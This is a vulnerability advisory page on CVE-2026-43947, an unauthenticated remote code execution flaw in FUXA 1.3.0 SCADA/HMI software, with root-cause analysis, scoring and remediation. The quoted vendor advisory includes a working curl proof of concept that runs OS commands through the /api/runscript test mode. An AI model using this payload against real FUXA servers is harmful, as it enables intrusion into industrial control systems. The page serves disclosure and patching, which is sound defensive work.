FUXA CVE-2026-43947
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach network-exposed FUXA API
-
DeliveryEnumerate script IDs via GET /api/project
-
ExploitPOST /api/runscript with test:true and code
-
ExecutionModule._compile runs attacker code
-
PersistexecSync via child_process
-
ImpactRCE as FUXA server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that FUXA is running with |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N, VC/VI/VA:H) with base 8.9 accurately reflects unauthenticated, low-complexity network RCE with high confidentiality, integrity, and availability impact - consistent with the CWE-863 authorization bypass and the vendor PoC. The exploit maturity flag E:P (Proof-of-Concept) matches the working curl PoC in the advisory. Signals are broadly consistent rather than conflicting: high CVSS, a public PoC, and a confirmed vendor patch all point to a genuine priority. The one moderating factor is the EPSS score of 0.59% (70th percentile), which is only moderate and reflects that this is not (yet) in CISA KEV and that exploitation depends on FUXA being internet-reachable AND at least one server-side script with non-restrictive permissions existing AND |
| Exploit ScenarioDerived | An attacker scans for internet-exposed FUXA instances, calls the unauthenticated |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Jul 21, 2026
Remote code execution in FUXA SCADA/HMI server version 1.3.0 lets unauthenticated attackers run arbitrary OS commands when secureEnabled is true, by abusing the POST /api/runscript endpoint's test mode. The endpoint authorizes against a stored script's permission, but with test:true it compiles and runs attacker-supplied code instead, so a guest who knows any low-permission script's ID and name (leaked via the unauthenticated GET /api/project endpoint) achieves full RCE. A working PoC exists in the vendor advisory and the flaw is fixed in v1.3.1; EPSS is a moderate 0.59% (70th percentile), and there is no public exploit identified beyond the advisory PoC and no active exploitation confirmed.
Earlier versions of this analysis (1)
Unauthenticated remote code execution in FUXA 1.3.0 (the fuxa-server npm package) lets any network-reachable attacker run arbitrary OS commands on the SCADA/HMI host when secureEnabled is true. The POST /api/runscript endpoint authorizes a request against a stored script's permission, but with test:true it instead compiles and runs attacker-supplied code via Node's Module._compile, so a guest who knows a valid script ID and name (leaked via the unauthenticated GET /api/project endpoint) can execute code with full Node runtime access. Publicly available exploit code exists in the vendor advisory; no CVSS, EPSS, or CISA KEV data is provided.
RemediationAI
Vendor-released patch: upgrade FUXA to version 1.3.1, which is the fixed release (https://github.com/frangoteam/FUXA/releases/tag/v1.3.1); the fix hardens the isAuthorised default to return false, corrects the unauthorized response handling, and tightens the Node-RED public-route allowance (see PR https://github.com/frangoteam/FUXA/pull/2260 and commit 78534da61a91613712b44bb63c8d7da8c5df5ca4). If you cannot upgrade immediately, reduce exposure by placing FUXA behind a reverse proxy or firewall so /api/runscript and /api/project are not reachable by untrusted networks (trade-off: breaks any legitimate remote/anonymous dashboard use), and by setting a restrictive permission value on every server-side script so guest access is denied (trade-off: guest/anonymous dashboards that legitimately call those scripts will stop working). Removing all server-side scripts also eliminates the precondition but may break dashboard logic. These are compensating controls only - upgrading to 1.3.1 is the durable fix.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FUXA is a Node.js-based web SCADA/HMI and IIoT platform (npm package fuxa-server) used to build operator dashboards and connect to industrial devices. The root cause is CWE-863 (Incorrect Authorization), a confused-deputy: in server/runtime/scripts/index.js the isAuthorised function resolves the stored script by ID and checks that script's permission field (!st.permission || st.permission & permission), so a stored script with no permission or permission 0 passes for any caller. Meanwhile the JWT middleware in server/api/jwt-helper.js auto-issues a valid guest token when none is supplied, so requests reach the handler as userId:"guest". When test:true is set, runTestScript in server/runtime/scripts/msm.js takes the request's code field, compiles it with Node's Module._compile, and executes it with full access to require, child_process, and fs - meaning the authorization decision (on the stored script) and the executed payload (the attacker's code) are decoupled.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Unauthenticated network RCE with no user interaction (guest auto-auth plus permissionless script), so AV:N/AC:L/PR:N/UI:N; arbitrary code execution yields full C/I/A high, scope unchanged as code runs within the FUXA process.
Primary rating from Vendor (https://github.com/frangoteam/FUXA).
CVSS VectorVendor: https://github.com/frangoteam/FUXA
Lifecycle Timeline
2DescriptionCVE.org
Summary
An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.
Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).
The only prerequisite is that at least one server-side script exists in the project.
Details
Authorization confused deputy in script execution
File: server/runtime/scripts/index.js, lines 86-103
The authorization check looks up the stored script by ID and validates the stored script's permission field:
this.isAuthorised = function (_script, permission) {
const st = scriptModule.getScript(_script); // finds stored script by _script.id
if (admin || (st && (!st.permission || st.permission & permission))) {
return true;
}
return false;
}When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.
Guest auto-authentication in the middleware
File: server/api/jwt-helper.js, lines 46-72
The verifyToken middleware generates a valid guest JWT when no token is provided:
if (!token) {
token = getGuestToken();
}The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.
Test mode executes attacker-supplied code
File: server/runtime/scripts/msm.js
When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.
PoC
Requires an existing server-side script accessible without restrictive permissions.
Step 1: Retrieve script IDs from the unauthenticated project endpoint
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'{
"id": "legit-001",
"name": "calculate",
}
{
"id": "s_42a888fa-8e3d4213",
"name": "subs",
}Step 2: Execute whoami without authentication
Using the script ID and name from step 1:
curl -s -X POST http://192.168.32.129:1881/api/runscript \
-H "Content-Type: application/json" \
-d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'Impact
Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.
Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.
This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.
Executive ViewAI
FUXA SCADA/HMI server version 1.3.0 is vulnerable to unauthenticated remote code execution, enabling attackers to gain full system control over industrial control environments. Organizations relying on FUXA for operational monitoring or control of critical infrastructure face direct risk of production disruption and potential safety incidents.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
GHSA-rg3m-cfq7-g6h6
NVD
CVE.org
EPSS
Exploit-DB